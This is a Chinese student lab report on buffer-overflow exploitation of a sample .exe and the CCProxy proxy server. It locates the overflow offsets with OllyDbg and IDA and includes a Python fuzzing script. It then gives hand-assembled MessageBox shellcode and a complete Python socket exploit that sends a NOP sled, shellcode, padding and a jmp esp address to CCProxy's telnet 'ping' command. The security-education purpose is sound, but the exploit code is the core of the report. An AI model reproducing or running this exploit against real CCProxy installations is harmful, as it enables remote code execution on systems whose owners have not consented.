缓冲区溢出实验

时间:2023-02-04 05:15:02

0x01 缓冲区溢出简介

缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。

0x02 实验要求

1.请对*.exe和CCProxy.rar的溢出点(即输入数据长度为多少时,程序会发生溢出)进行定位。
2.根据你定位的溢出点,思考:如果你的Shellcode长度为500字节,那么在两种情况下,Shellcode放在参数的什么位置比较有利用执行?
3.在以上基础上完成一次shellcode的植入与运行。
要求
(1)Shellcode功能不限,可以是开端口、运行计算器(记事本)、添加帐号等 均可。
(2)Shellcode要求能够以参数的方式植入并覆盖栈空间。
(3)返回地址的EIP处只能填写jmp esp指令地址,不得填写shellcode的地址硬编码。

0x03 实验内容

0x1 定位溢出点

*


缓冲区溢出实验
图1 用OD调试程序

找到程序执行的地方,并下断点


缓冲区溢出实验
图2 在程序入口下断点

在OD中找到栈溢出的地方


缓冲区溢出实验
图3 堆栈情况

在上图中发现输入长度为20个字节的时候正好能将ret地址覆盖
当长度为16字节时(最后有截断字符0x00 地址变为了0x401100)恰好能将返回地址设置到程序执行前,以此来实现重复执行。


缓冲区溢出实验
图4 输入长度为16

利用IDA反汇编的结果,可以直接看到产生溢出的函数


缓冲区溢出实验
图5 反汇编
发现产生溢出的strcpy函数,因为程序没有对argv的长度进行限制

CCproxy

  • 特定字符
s = ''
for i in range(10):
    for j in range(10):
        for m in range(10):
            for(n) in range(10):
                s += str(i)+str(j)+str(m)+str(n)
                if len(s) == 2000 :
                    print s

生成字节序不同的2000个字节


缓冲区溢出实验
图6 生成不同字节


缓冲区溢出实验
图7 OD堆栈

可以看到EIP的值前面是高字节后面是低字节 则为0253


缓冲区溢出实验
图8 搜索字符

长度为1012位

  • 脚本爆破

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
num = 15
while 1:
    s.send('ping'+'A'*num+'\n') #000a0d42 1013 0a0d4242 1014 0042000a 1011
    string = s.recv(4096)   
    print string
    if 'Host' in string or 'CCProxy' in string or 'be' in string:
        strtt = 1
    else:
        print 'no'
        print  num
    num += 1


缓冲区溢出实验
图9 爆破寻找

0x2 IDA查看溢出函数

利用IDA字符串搜索Host not found查找溢出函数位置


缓冲区溢出实验
缓冲区溢出实验
缓冲区溢出实验
图10 寻找溢出函数

0x3 溢出调试

首先根据IDA的静态分析设置调试断点0x430524
发送2000个字节


缓冲区溢出实验
图11 堆栈情况

发现程序只拷贝1024个字节后面再长的字节都会被前面的覆盖

0x4 编写shellcode

1.找到messagebox的函数地址
利用自己编写的弹窗函数寻找


缓冲区溢出实验
图12 寻找地址

0x77D507EA

jmp esp地址选用\x12\x45\xfa\x7f
messagebox函数的参数有四个

33 DB  XOR EBX,EBX  压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53                  PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
8B C4                MOV EAX,ESP  EAX里是字符串指针
53                  PUSH EBX  四个参数按照从右向左的顺序入栈,分别为:                                          (0,failwest,failwest,0)                                                
50                   PUSH EAX  
50                   PUSH EAX  
53                   PUSH EBX  
B8 EA 04 D8 77  MOV EAX, 0x77D804EA  调用MessageBoxA。注意不同的机器这里的                                    
                                                                    函数入口地址可能不同,请按实际值填入!
FF D0                 CALL EAX  

0x5 发送shellcode

下面利用python socket连接CCproxy

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.43.254", 23))
string = s.recv(4096) 
print string
s.send('ping'
    +'\x90\x90\x90\x90'
    +'\x53\x68\x79\x71\x20\x20\x68\x68\x61\x63\x6b\x8B\xC4\x53\x50\x50\x53\xB8\xEA\x07\xD5\x77\xFF\xD0'
    +'\x41'*984
    +'\x12\x45\xfa\x7f'
    +'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'+'\r\n') 
string = s.recv(4096)
print string

测试效果


缓冲区溢出实验
图13 shellcode效果

0x04 问题

虽然知道了溢出是函数sprintf造成的,但是还是不了解为什么只复制了1024个字节,后面的又被前面的覆盖掉了。

0x05 实验总结

缓冲区溢出的实验是我对程序溢出利用有了深刻的认识理解,通过调试软件漏洞大大增长了自己的动手实践能力。同时还找到了自己不足的方面。希望在以后的学习中更加丰富自己。